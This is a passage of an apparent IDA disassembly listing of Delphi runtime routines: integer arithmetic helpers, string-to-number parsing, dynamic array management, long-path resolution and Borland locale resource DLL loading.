S U B R O U T I N E ======================================= sub_40005634 proc near ; CODE XREF: sub_4000C230+1C3p push eax call sub_40005400 pop eax call sub_40002C3C retn sub_40005634 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40005644 proc near ; CODE XREF: sub_40005650+18p xchg eax, ecx xchg ecx, edx call sub_400049E0 retn sub_40005644 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40005650 proc near ; CODE XREF: sub_40016280+2D8p var_C = dword ptr -0Ch push ebx push esi push ecx mov esi, edx mov ebx, eax mov [esp+0Ch+var_C], ebx mov eax, [esp+0Ch+var_C] call sub_40005168 mov edx, eax mov ecx, esi mov eax, ebx call sub_40005644 pop edx pop esi pop ebx retn sub_40005650 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40005674 proc near ; CODE XREF: sub_40016280+D3p ; sub_40016280+101p ... var_4 = dword ptr -4 push ecx xor edx, edx mov [esp+4+var_4], edx mov edx, eax test edx, edx jz short loc_40005685 sub edx, 4 mov edx, [edx] loc_40005685: ; CODE XREF: sub_40005674+Aj mov ecx, esp xchg eax, ecx xchg edx, ecx call sub_4000506C mov eax, [esp+4+var_4] pop edx retn sub_40005674 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40005694 proc near ; DATA XREF: .itext:40019034o mov al, 11h jmp sub_40002D50 sub_40005694 endp ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_4000569C proc near ; CODE XREF: sub_40005754+186p ; sub_400080E8+43p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edx push eax mov eax, [esp+8+arg_4] mul [esp+8+var_8] mov ecx, eax mov eax, [esp+8+var_4] mul [esp+8+arg_0] add ecx, eax mov eax, [esp+8+var_8] mul [esp+8+arg_0] add edx, ecx pop ecx pop ecx retn 8 sub_4000569C endp ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_400056C0 proc near ; CODE XREF: sub_4000679C+68p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov ebx, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] mov esi, edx mov edi, ecx sar esi, 1Fh xor eax, esi xor edx, esi sub eax, esi sbb edx, esi sar edi, 1Fh xor esi, edi xor ebx, edi xor ecx, edi sub ebx, edi sbb ecx, edi jnz short loc_400056FC cmp edx, ebx jb short loc_400056F6 mov ecx, eax mov eax, edx xor edx, edx div ebx xchg eax, ecx loc_400056F6: ; CODE XREF: sub_400056C0+2Bj div ebx mov edx, ecx jmp short loc_40005743 ; --------------------------------------------------------------------------- loc_400056FC: ; CODE XREF: sub_400056C0+27j sub esp, 0Ch mov [esp+18h+var_18], eax mov [esp+18h+var_14], ebx mov [esp+18h+var_10], edx mov edi, ecx shr edx, 1 rcr eax, 1 ror edi, 1 rcr ebx, 1 bsr ecx, ecx shrd ebx, edi, cl shrd eax, edx, cl shr edx, cl rol edi, 1 div ebx mov ebx, [esp+18h+var_18] mov ecx, eax imul edi, eax mul [esp+18h+var_14] add edx, edi sub ebx, eax mov eax, ecx mov ecx, [esp+18h+var_10] sbb ecx, edx sbb eax, 0 xor edx, edx add esp, 0Ch loc_40005743: ; CODE XREF: sub_400056C0+3Aj xor eax, esi xor edx, esi sub eax, esi sbb edx, esi pop edi pop esi pop ebx retn 8 sub_400056C0 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40005754 proc near ; CODE XREF: sub_40007E0C+Bp var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h push ebx push esi push edi push ebp add esp, 0FFFFFFECh mov [esp+24h+var_24], edx mov esi, eax mov ebp, 1 xor edi, edi mov [esp+24h+var_1C], 0 mov [esp+24h+var_18], 0 test esi, esi jnz short loc_40005786 mov eax, [esp+24h+var_24] mov [eax], ebp jmp loc_4000595C ; --------------------------------------------------------------------------- loc_40005785: ; CODE XREF: sub_40005754+37j inc ebp loc_40005786: ; CODE XREF: sub_40005754+25j cmp byte ptr [esi+ebp-1], 20h jz short loc_40005785 mov [esp+24h+var_14], 0 movzx eax, byte ptr [esi+ebp-1] cmp al, 2Dh jnz short loc_400057A3 mov [esp+24h+var_14], 1 inc ebp jmp short loc_400057A8 ; --------------------------------------------------------------------------- loc_400057A3: ; CODE XREF: sub_40005754+45j cmp al, 2Bh jnz short loc_400057A8 inc ebp loc_400057A8: ; CODE XREF: sub_40005754+4Dj ; sub_40005754+51j mov bl, 1 cmp byte ptr [esi+ebp-1], 24h jz short loc_400057DB movzx eax, byte ptr [esi+ebp-1] call sub_4000309C cmp al, 58h jz short loc_400057DB cmp byte ptr [esi+ebp-1], 30h jnz loc_40005891 movzx eax, byte ptr [esi+ebp] call sub_4000309C cmp al, 58h jnz loc_40005891 loc_400057DB: ; CODE XREF: sub_40005754+5Bj ; sub_40005754+69j cmp byte ptr [esi+ebp-1], 30h jnz short loc_400057E3 inc ebp loc_400057E3: ; CODE XREF: sub_40005754+8Cj inc ebp loc_400057E4: ; CODE XREF: sub_40005754+111j movzx ecx, byte ptr [esi+ebp-1] mov eax, ecx add al, 0D0h sub al, 0Ah jb short loc_400057FF add al, 0F9h sub al, 6 jb short loc_40005807 add al, 0E6h sub al, 6 jb short loc_4000580F jmp short loc_4000586A ; --------------------------------------------------------------------------- loc_400057FF: ; CODE XREF: sub_40005754+9Bj movzx edi, cl sub edi, 30h jmp short loc_40005815 ; --------------------------------------------------------------------------- loc_40005807: ; CODE XREF: sub_40005754+A1j movzx edi, cl sub edi, 37h jmp short loc_40005815 ; --------------------------------------------------------------------------- loc_4000580F: ; CODE XREF: sub_40005754+A7j movzx edi, cl sub edi, 57h loc_40005815: ; CODE XREF: sub_40005754+B1j ; sub_40005754+B9j cmp [esp+24h+var_18], 0 jnz short loc_40005825 cmp [esp+24h+var_1C], 0 jb short loc_4000586A jmp short loc_40005827 ; --------------------------------------------------------------------------- loc_40005825: ; CODE XREF: sub_40005754+C6j jl short loc_4000586A loc_40005827: ; CODE XREF: sub_40005754+CFj cmp [esp+24h+var_18], 0FFFFFFFh jnz short loc_4000583A cmp [esp+24h+var_1C], 0FFFFFFFFh jbe short loc_4000583C jmp short loc_4000586A ; --------------------------------------------------------------------------- loc_4000583A: ; CODE XREF: sub_40005754+DBj jg short loc_4000586A loc_4000583C: ; CODE XREF: sub_40005754+E2j mov eax, edi cdq push edx push eax mov eax, [esp+2Ch+var_1C] mov edx, [esp+2Ch+var_18] shld edx, eax, 4 shl eax, 4 add eax, [esp+2Ch+var_2C] adc edx, [esp+2Ch+var_28] add esp, 8 mov [esp+24h+var_1C], eax mov [esp+24h+var_18], edx inc ebp xor ebx, ebx jmp loc_400057E4 ; --------------------------------------------------------------------------- loc_4000586A: ; CODE XREF: sub_40005754+A9j ; sub_40005754+CDj ... cmp [esp+24h+var_14], 0 jz loc_40005942 mov eax, [esp+24h+var_1C] mov edx, [esp+24h+var_18] neg eax adc edx, 0 neg edx mov [esp+24h+var_1C], eax mov [esp+24h+var_18], edx jmp loc_40005942 ; --------------------------------------------------------------------------- loc_40005891: ; CODE XREF: sub_40005754+70j ; sub_40005754+81j ... movzx eax, byte ptr [esi+ebp-1] add al, 0D0h sub al, 0Ah jnb short loc_400058FB movzx edi, byte ptr [esi+ebp-1] sub edi, 30h cmp [esp+24h+var_18], 0 jnz short loc_400058B4 cmp [esp+24h+var_1C], 0 jb short loc_400058FB jmp short loc_400058B6 ; --------------------------------------------------------------------------- loc_400058B4: ; CODE XREF: sub_40005754+155j jl short loc_400058FB loc_400058B6: ; CODE XREF: sub_40005754+15Ej cmp [esp+24h+var_18], 0CCCCCCCh jnz short loc_400058CC cmp [esp+24h+var_1C], 0CCCCCCCCh jbe short loc_400058CE jmp short loc_400058FB ; --------------------------------------------------------------------------- loc_400058CC: ; CODE XREF: sub_40005754+16Aj jg short loc_400058FB loc_400058CE: ; CODE XREF: sub_40005754+174j push 0 push 0Ah mov eax, [esp+2Ch+var_1C] mov edx, [esp+2Ch+var_18] call sub_4000569C push edx push eax mov eax, edi cdq add eax, [esp+2Ch+var_2C] adc edx, [esp+2Ch+var_28] add esp, 8 mov [esp+24h+var_1C], eax mov [esp+24h+var_18], edx inc ebp xor ebx, ebx jmp short loc_40005891 ; --------------------------------------------------------------------------- loc_400058FB: ; CODE XREF: sub_40005754+146j ; sub_40005754+15Cj ... cmp [esp+24h+var_14], 0 jz short loc_40005919 mov eax, [esp+24h+var_1C] mov edx, [esp+24h+var_18] neg eax adc edx, 0 neg edx mov [esp+24h+var_1C], eax mov [esp+24h+var_18], edx loc_40005919: ; CODE XREF: sub_40005754+1ACj cmp [esp+24h+var_18], 0 jnz short loc_40005925 cmp [esp+24h+var_1C], 0 loc_40005925: ; CODE XREF: sub_40005754+1CAj jz short loc_40005942 cmp [esp+24h+var_18], 0 jnz short loc_40005938 cmp [esp+24h+var_1C], 0 setb al jmp short loc_4000593B ; --------------------------------------------------------------------------- loc_40005938: ; CODE XREF: sub_40005754+1D8j setl al loc_4000593B: ; CODE XREF: sub_40005754+1E2j cmp al, [esp+24h+var_14] jz short loc_40005942 dec ebp loc_40005942: ; CODE XREF: sub_40005754+11Bj ; sub_40005754+138j ... cmp byte ptr [esi+ebp-1], 0 setnz al or bl, al jz short loc_40005955 mov eax, [esp+24h+var_24] mov [eax], ebp jmp short loc_4000595C ; --------------------------------------------------------------------------- loc_40005955: ; CODE XREF: sub_40005754+1F8j mov eax, [esp+24h+var_24] xor edx, edx mov [eax], edx loc_4000595C: ; CODE XREF: sub_40005754+2Cj ; sub_40005754+1FFj mov eax, [esp+24h+var_1C] mov edx, [esp+24h+var_18] add esp, 14h pop ebp pop edi pop esi pop ebx retn sub_40005754 endp ; =============== S U B R O U T I N E ======================================= sub_4000596C proc near ; CODE XREF: sub_40005974p ; sub_40007E2C+5p ... test eax, eax jz short locret_40005973 mov eax, [eax-4] locret_40005973: ; CODE XREF: sub_4000596C+2j retn sub_4000596C endp ; =============== S U B R O U T I N E ======================================= sub_40005974 proc near ; CODE XREF: sub_40007F40+3Ap ; sub_40007F40+5Dp ... call sub_4000596C dec eax retn sub_40005974 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4000597C proc near ; CODE XREF: sub_4000599C+105p arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call sub_40005540 pop ebp retn 4 sub_4000597C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4000598C proc near ; CODE XREF: sub_4000599C+AFp jmp sub_40005314 sub_4000598C endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40005994 proc near ; CODE XREF: sub_4000599C+2Fp call sub_40005B34 retn sub_40005994 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4000599C proc near ; CODE XREF: sub_4000599C+172p ; sub_40005B28+5p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFFE0h push ebx push esi push edi mov [ebp+var_8], ecx mov esi, edx mov [ebp+var_4], eax mov ebx, [ebp+var_4] mov ebx, [ebx] mov eax, [ebp+arg_0] mov edi, [eax] test edi, edi jg short loc_400059D5 test edi, edi jge short loc_400059C6 mov al, 4 call sub_40002D50 ; --------------------------------------------------------------------------- loc_400059C6: ; CODE XREF: sub_4000599C+21j mov eax, [ebp+var_4] mov edx, esi call sub_40005994 jmp loc_40005B1E ; --------------------------------------------------------------------------- loc_400059D5: ; CODE XREF: sub_4000599C+1Dj xor eax, eax mov [ebp+var_10], eax test ebx, ebx jz short loc_400059E9 sub ebx, 4 mov eax, [ebx] mov [ebp+var_10], eax sub ebx, 4 loc_400059E9: ; CODE XREF: sub_4000599C+40j movzx eax, byte ptr [esi+1] add esi, eax mov eax, esi mov edx, [eax+2] mov [ebp+var_18], edx mov edx, [eax+6] test edx, edx jz short loc_40005A02 mov esi, [edx] jmp short loc_40005A04 ; --------------------------------------------------------------------------- loc_40005A02: ; CODE XREF: sub_4000599C+60j xor esi, esi loc_40005A04: ; CODE XREF: sub_4000599C+64j mov eax, edi imul [ebp+var_18] mov [ebp+var_1C], eax mov eax, [ebp+var_1C] cdq idiv edi cmp eax, [ebp+var_18] jz short loc_40005A1E mov al, 4 call sub_40002D50 ; --------------------------------------------------------------------------- loc_40005A1E: ; CODE XREF: sub_4000599C+79j add [ebp+var_1C], 8 test ebx, ebx jz short loc_40005A2B cmp dword ptr [ebx], 1 jnz short loc_40005A60 loc_40005A2B: ; CODE XREF: sub_4000599C+88j mov [ebp+var_20], ebx cmp edi, [ebp+var_10] jge short loc_40005A50 test esi, esi jz short loc_40005A50 mov eax, ebx add eax, 8 mov edx, edi imul edx, [ebp+var_18] add eax, edx mov ecx, [ebp+var_10] sub ecx, edi mov edx, esi call sub_4000598C loc_40005A50: ; CODE XREF: sub_4000599C+95j ; sub_4000599C+99j lea eax, [ebp+var_20] mov edx, [ebp+var_1C] call sub_40002C54 mov ebx, [ebp+var_20] jmp short loc_40005ABE ; --------------------------------------------------------------------------- loc_40005A60: ; CODE XREF: sub_4000599C+8Dj dec dword ptr [ebx] mov eax, [ebp+var_1C] call sub_40002C20 mov ebx, eax mov eax, [ebp+var_10] mov [ebp+var_14], eax cmp edi, [ebp+var_14] jge short loc_40005A7A mov [ebp+var_14], edi loc_40005A7A: ; CODE XREF: sub_4000599C+D9j test esi, esi jz short loc_40005AA8 mov edx, [ebp+var_14] imul edx, [ebp+var_18] mov eax, ebx add eax, 8 xor ecx, ecx call sub_40003580 mov eax, [ebp+var_14] push eax mov edx, [ebp+var_4] mov edx, [edx] mov eax, ebx add eax, 8 mov ecx, esi call sub_4000597C jmp short loc_40005ABE ; --------------------------------------------------------------------------- loc_40005AA8: ; CODE XREF: sub_4000599C+E0j mov ecx, [ebp+var_14] imul ecx, [ebp+var_18] mov edx, ebx add edx, 8 mov eax, [ebp+var_4] mov eax, [eax] call sub_40002DFC loc_40005ABE: ; CODE XREF: sub_4000599C+C2j ; sub_4000599C+10Aj mov dword ptr [ebx], 1 add ebx, 4 mov [ebx], edi add ebx, 4 mov edx, edi sub edx, [ebp+var_10] imul edx, [ebp+var_18] mov eax, [ebp+var_18] imul eax, [ebp+var_10] add eax, ebx xor ecx, ecx call sub_40003580 cmp [ebp+var_8], 1 jle short loc_40005B19 add [ebp+arg_0], 4 dec [ebp+var_8] dec edi test edi, edi jl short loc_40005B19 inc edi mov [ebp+var_C], 0 loc_40005AFF: ; CODE XREF: sub_4000599C+17Bj mov eax, [ebp+arg_0] push eax mov eax, [ebp+var_C] lea eax, [ebx+eax*4] mov ecx, [ebp+var_8] mov edx, esi call sub_4000599C inc [ebp+var_C] dec edi jnz short loc_40005AFF loc_40005B19: ; CODE XREF: sub_4000599C+14Dj ; sub_4000599C+159j mov eax, [ebp+var_4] mov [eax], ebx loc_40005B1E: ; CODE XREF: sub_4000599C+34j pop edi pop esi pop ebx mov esp, ebp pop ebp retn 4 sub_4000599C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40005B28 proc near ; CODE XREF: sub_40007E2C+20p ; sub_40007E2C+57p ... var_4 = dword ptr -4 push esp add [esp+4+var_4], 4 call sub_4000599C retn sub_40005B28 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40005B34 proc near ; CODE XREF: sub_40005314+D0p ; sub_40005994p ... mov ecx, [eax] test ecx, ecx jz short locret_40005B6D mov dword ptr [eax], 0 lock dec dword ptr [ecx-8] jnz short locret_40005B6D push eax mov eax, ecx xor ecx, ecx mov cl, [edx+1] mov edx, [ecx+edx+6] test edx, edx jz short loc_40005B64 mov ecx, [eax-4] test ecx, ecx jz short loc_40005B64 mov edx, [edx] call sub_40005314 loc_40005B64: ; CODE XREF: sub_40005B34+20j ; sub_40005B34+27j sub eax, 8 call sub_40002C3C pop eax locret_40005B6D: ; CODE XREF: sub_40005B34+4j ; sub_40005B34+10j retn sub_40005B34 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40005B70 proc near ; CODE XREF: sub_40005424+EFp ; sub_40005540+DDp push ebx mov ebx, [eax] test edx, edx jz short loc_40005B7B lock inc dword ptr [edx-8] loc_40005B7B: ; CODE XREF: sub_40005B70+5j test ebx, ebx jz short loc_40005B93 lock dec dword ptr [ebx-8] jnz short loc_40005B93 push eax push edx mov edx, ecx inc dword ptr [ebx-8] call sub_40005B34 pop edx pop eax loc_40005B93: ; CODE XREF: sub_40005B70+Dj ; sub_40005B70+13j mov [eax], edx pop ebx retn sub_40005B70 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40005B98 proc near ; CODE XREF: sub_40013308+Cp var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch add esp, 0FFFFFFE4h push 1Ch lea edx, [esp+20h+var_1C] push edx push eax call sub_40001258 ; VirtualQuery cmp [esp+1Ch+var_C], 1000h jnz short loc_40005BB8 mov eax, [esp+1Ch+var_18] jmp short loc_40005BBA ; --------------------------------------------------------------------------- loc_40005BB8: ; CODE XREF: sub_40005B98+18j xor eax, eax loc_40005BBA: ; CODE XREF: sub_40005B98+1Ej add esp, 1Ch retn sub_40005B98 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40005BC0 proc near ; CODE XREF: sub_40005C08+20p var_110 = byte ptr -110h push ebx push esi add esp, 0FFFFFEF8h mov ebx, eax cmp dword ptr [ebx+10h], 0 jnz short loc_40005BFB push 105h lea eax, [esp+114h+var_110] push eax mov eax, [ebx+4] push eax call sub_400011E8 ; GetModuleFileNameA mov eax, esp mov dl, 1 call sub_40005E24 mov esi, eax mov [ebx+10h], esi test esi, esi jnz short loc_40005BFB mov eax, [ebx+4] mov [ebx+10h], eax loc_40005BFB: ; CODE XREF: sub_40005BC0+Ej ; sub_40005BC0+33j mov eax, [ebx+10h] add esp, 108h pop esi pop ebx retn sub_40005BC0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40005C08 proc near ; CODE XREF: sub_400062F0+2Cp ; sub_4000ADE0+ECp ... push ebx push esi push edi mov esi, eax mov ebx, off_4001A038 test ebx, ebx jz short loc_40005C37 loc_40005C17: ; CODE XREF: sub_40005C08+2Dj cmp esi, [ebx+4] jz short loc_40005C26 cmp esi, [ebx+8] jz short loc_40005C26 cmp esi, [ebx+0Ch] jnz short loc_40005C31 loc_40005C26: ; CODE XREF: sub_40005C08+12j ; sub_40005C08+17j mov eax, ebx call sub_40005BC0 mov edi, eax jmp short loc_40005C39 ; --------------------------------------------------------------------------- loc_40005C31: ; CODE XREF: sub_40005C08+1Cj mov ebx, [ebx] test ebx, ebx jnz short loc_40005C17 loc_40005C37: ; CODE XREF: sub_40005C08+Dj mov edi, esi loc_40005C39: ; CODE XREF: sub_40005C08+27j mov eax, edi pop edi pop esi pop ebx retn sub_40005C08 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40005C40 proc near ; CODE XREF: sub_40005C60+89p ; sub_40005C60+9Cp ... push ebx push esi mov esi, eax jmp short loc_40005C4E ; --------------------------------------------------------------------------- loc_40005C46: ; CODE XREF: sub_40005C40+18j push esi call sub_400011A0 ; CharNextA mov esi, eax loc_40005C4E: ; CODE XREF: sub_40005C40+4j movzx ebx, byte ptr [esi] test bl, bl jz short loc_40005C5A cmp bl, 5Ch jnz short loc_40005C46 loc_40005C5A: ; CODE XREF: sub_40005C40+13j mov eax, esi pop esi pop ebx retn sub_40005C40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40005C60 proc near ; CODE XREF: sub_40005E24+A3p var_253 = byte ptr -253h var_14E = byte ptr -14Eh var_122 = byte ptr -122h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFDACh push ebx push esi push edi mov [ebp+var_8], edx mov [ebp+var_4], eax mov eax, [ebp+var_4] mov [ebp+var_C], eax push offset dword_40005E00 call sub_400011F0 ; GetModuleHandleA mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz short loc_40005CCE push offset aGetlongpathnam ; "GetLongPathNameA" mov eax, [ebp+var_10] push eax call sub_400011F8 ; GetProcAddress mov ebx, eax test ebx, ebx jz short loc_40005CCE push 105h lea eax, [ebp+var_253] push eax mov eax, [ebp+var_4] push eax call ebx test eax, eax jz short loc_40005CCE mov eax, [ebp+var_8] push eax lea eax, [ebp+var_253] push eax mov eax, [ebp+var_4] push eax call sub_40001220 ; lstrcpynA jmp loc_40005DF6 ; --------------------------------------------------------------------------- loc_40005CCE: ; CODE XREF: sub_40005C60+29j ; sub_40005C60+3Dj ... mov eax, [ebp+var_4] cmp byte ptr [eax], 5Ch jnz short loc_40005D0E mov eax, [ebp+var_4] cmp byte ptr [eax+1], 5Ch jnz loc_40005DF6 mov eax, [ebp+var_4] add eax, 2 call sub_40005C40 mov esi, eax cmp byte ptr [esi], 0 jz loc_40005DF6 lea eax, [esi+1] call sub_40005C40 mov esi, eax cmp byte ptr [esi], 0 jz loc_40005DF6 jmp short loc_40005D14 ; --------------------------------------------------------------------------- loc_40005D0E: ; CODE XREF: sub_40005C60+74j mov esi, [ebp+var_4] add esi, 2 loc_40005D14: ; CODE XREF: sub_40005C60+ACj mov ebx, esi sub ebx, [ebp+var_4] lea eax, [ebx+1] push eax mov eax, [ebp+var_4] push eax lea eax, [ebp+var_253] push eax call sub_40001220 ; lstrcpynA jmp loc_40005DD9 ; --------------------------------------------------------------------------- loc_40005D32: ; CODE XREF: sub_40005C60+17Cj lea eax, [esi+1] call sub_40005C40 mov edi, eax mov eax, edi sub eax, esi add eax, ebx inc eax cmp eax, 105h jg loc_40005DF6 mov eax, edi sub eax, esi inc eax push eax push esi lea eax, [ebp+var_253] add eax, ebx push eax call sub_40001220 ; lstrcpynA lea eax, [ebp+var_14E] push eax lea eax, [ebp+var_253] push eax call sub_400011C0 ; FindFirstFileA mov [ebp+var_10], eax cmp [ebp+var_10], 0FFFFFFFFh jz short loc_40005DF6 mov eax, [ebp+var_10] push eax call sub_400011B8 ; FindClose lea eax, [ebp+var_122] push eax call sub_40001228 ; lstrlenA lea edx, [ebx+1] add eax, edx inc eax cmp eax, 105h jg short loc_40005DF6 mov [ebp+ebx+var_253], 5Ch mov eax, 105h sub eax, ebx dec eax push eax lea eax, [ebp+var_122] push eax lea eax, [ebp+var_253] add eax, ebx inc eax push eax call sub_40001220 ; lstrcpynA lea eax, [ebp+var_122] push eax call sub_40001228 ; lstrlenA inc eax add ebx, eax mov esi, edi loc_40005DD9: ; CODE XREF: sub_40005C60+CDj cmp byte ptr [esi], 0 jnz loc_40005D32 mov eax, [ebp+var_8] push eax lea eax, [ebp+var_253] push eax mov eax, [ebp+var_4] push eax call sub_40001220 ; lstrcpynA loc_40005DF6: ; CODE XREF: sub_40005C60+69j ; sub_40005C60+7Dj ... mov eax, [ebp+var_C] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_40005C60 endp ; --------------------------------------------------------------------------- dword_40005E00 dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0aGetlongpathnam db 'GetLongPathNameA',0 ; DATA XREF: sub_40005C60+2Bo align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40005E24 proc near ; CODE XREF: sub_40005BC0+27p var_11D = byte ptr -11Dh var_18 = dword ptr -18h var_12 = byte ptr -12h var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_B = byte ptr -0Bh var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFEE0h push ebx push esi mov [ebp+var_4], eax push 105h lea eax, [ebp+var_11D] push eax push 0 call sub_400011E8 ; GetModuleFileNameA mov [ebp+var_12], 0 lea eax, [ebp+var_8] push eax push 0F0019h push 0 push offset aSoftwareBorl_0 ; "Software\\Borland\\Locales" push 80000001h call sub_40001240 ; RegOpenKeyExA test eax, eax jz short loc_40005EA7 lea eax, [ebp+var_8] push eax push 0F0019h push 0 push offset aSoftwareBorl_0 ; "Software\\Borland\\Locales" push 80000002h call sub_40001240 ; RegOpenKeyExA test eax, eax jz short loc_40005EA7 lea eax, [ebp+var_8] push eax push 0F0019h push 0 push offset aSoftwareBorl_1 ; "Software\\Borland\\Delphi\\Locales" push 80000001h call sub_40001240 ; RegOpenKeyExA test eax, eax jnz loc_40005F30 loc_40005EA7: ; CODE XREF: sub_40005E24+41j ; sub_40005E24+5Fj xor eax, eax push ebp push offset loc_40005F29 push dword ptr fs:[eax] mov fs:[eax], esp mov [ebp+var_18], 5 lea eax, [ebp+var_11D] mov edx, 105h call sub_40005C60 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_12] push eax push 0 push 0 lea eax, [ebp+var_11D] push eax mov eax, [ebp+var_8] push eax call sub_40001248 ; RegQueryValueExA test eax, eax jz short loc_40005F0E lea eax, [ebp+var_18] push eax lea eax, [ebp+var_12] push eax push 0 push 0 push offset dword_40006090 mov eax, [ebp+var_8] push eax call sub_40001248 ; RegQueryValueExA test eax, eax jz short loc_40005F0E mov [ebp+var_12], 0 loc_40005F0E: ; CODE XREF: sub_40005E24+C6j ; sub_40005E24+E4j mov [ebp+var_E], 0 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40005F30 loc_40005F1F: ; CODE XREF: sub_40005E24+10Aj mov eax, [ebp+var_8] push eax call sub_40001238 ; RegCloseKey retn ; --------------------------------------------------------------------------- loc_40005F29: ; DATA XREF: sub_40005E24+86o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_40005F1F ; --------------------------------------------------------------------------- loc_40005F30: ; CODE XREF: sub_40005E24+7Dj ; DATA XREF: sub_40005E24+F6o push 105h mov eax, [ebp+var_4] push eax lea eax, [ebp+var_11D] push eax call sub_40001220 ; lstrcpynA push 5 lea eax, [ebp+var_D] push eax push 3 call sub_40001208 ; GetThreadLocale push eax call sub_400011E0 ; GetLocaleInfoA xor esi, esi cmp [ebp+var_11D], 0 jz loc_4000604A cmp [ebp+var_D], 0 jnz short loc_40005F77 cmp [ebp+var_12], 0 jz loc_4000604A loc_40005F77: ; CODE XREF: sub_40005E24+147j lea eax, [ebp+var_11D] push eax call sub_40001228 ; lstrlenA mov ebx, eax lea eax, [ebp+var_11D] add ebx, eax jmp short loc_40005F90 ; --------------------------------------------------------------------------- loc_40005F8F: ; CODE XREF: sub_40005E24+179j dec ebx loc_40005F90: ; CODE XREF: sub_40005E24+169j cmp byte ptr [ebx], 2Eh jz short loc_40005F9F lea eax, [ebp+var_11D] cmp ebx, eax jnz short loc_40005F8F loc_40005F9F: ; CODE XREF: sub_40005E24+16Fj lea eax, [ebp+var_11D] cmp ebx, eax jz loc_4000604A inc ebx cmp [ebp+var_12], 0 jz short loc_40005FDC mov edx, ebx sub edx, eax mov eax, 105h sub eax, edx push eax lea eax, [ebp+var_12] push eax push ebx call sub_40001220 ; lstrcpynA push 2 push 0 lea eax, [ebp+var_11D] push eax call sub_40001210 ; LoadLibraryExA mov esi, eax loc_40005FDC: ; CODE XREF: sub_40005E24+18Ej test esi, esi jnz short loc_4000604A cmp [ebp+var_D], 0 jz short loc_4000604A lea eax, [ebp+var_11D] mov edx, ebx sub edx, eax mov eax, 105h sub eax, edx push eax lea eax, [ebp+var_D] push eax push ebx call sub_40001220 ; lstrcpynA push 2 push 0 lea eax, [ebp+var_11D] push eax call sub_40001210 ; LoadLibraryExA mov esi, eax test esi, esi jnz short loc_4000604A mov [ebp+var_B], 0 lea eax, [ebp+var_11D] mov edx, ebx sub edx, eax mov eax, 105h sub eax, edx push eax lea eax, [ebp+var_D] push eax push ebx call sub_40001220 ; lstrcpynA push 2 push 0 lea eax, [ebp+var_11D] push eax call sub_40001210 ; LoadLibraryExA mov esi, eax loc_4000604A: ; CODE XREF: sub_40005E24+13Dj ; sub_40005E24+14Dj ... mov eax, esi pop esi pop ebx mov esp, ebp pop ebp retn sub_40005E24 endp ; --------------------------------------------------------------------------- align 4 aSoftwareBorl_0 db 'Software\Borland\Locales',0 ; DATA XREF: sub_40005E24+30o ; sub_40005E24+4Eo align 10h aSoftwareBorl_1 db 'Software\Borland\Delphi\Locales',0 ; DATA XREF: sub_40005E24+6Co dword_40006090 dd 0 ; =============== S U B R O U T I N E ======================================= sub_40006094 proc near ; CODE XREF: sub_400191F8+24p call sub_400060A4 retn sub_40006094 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4000609C proc near ; CODE XREF: sub_40013ED4+6Ep call sub_400060C4 retn sub_4000609C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_400060A4 proc near ; CODE XREF: sub_40006094p ; sub_400190AC+50p push ebx mov ebx, eax mov eax, 8 call sub_40002C20 mov edx, 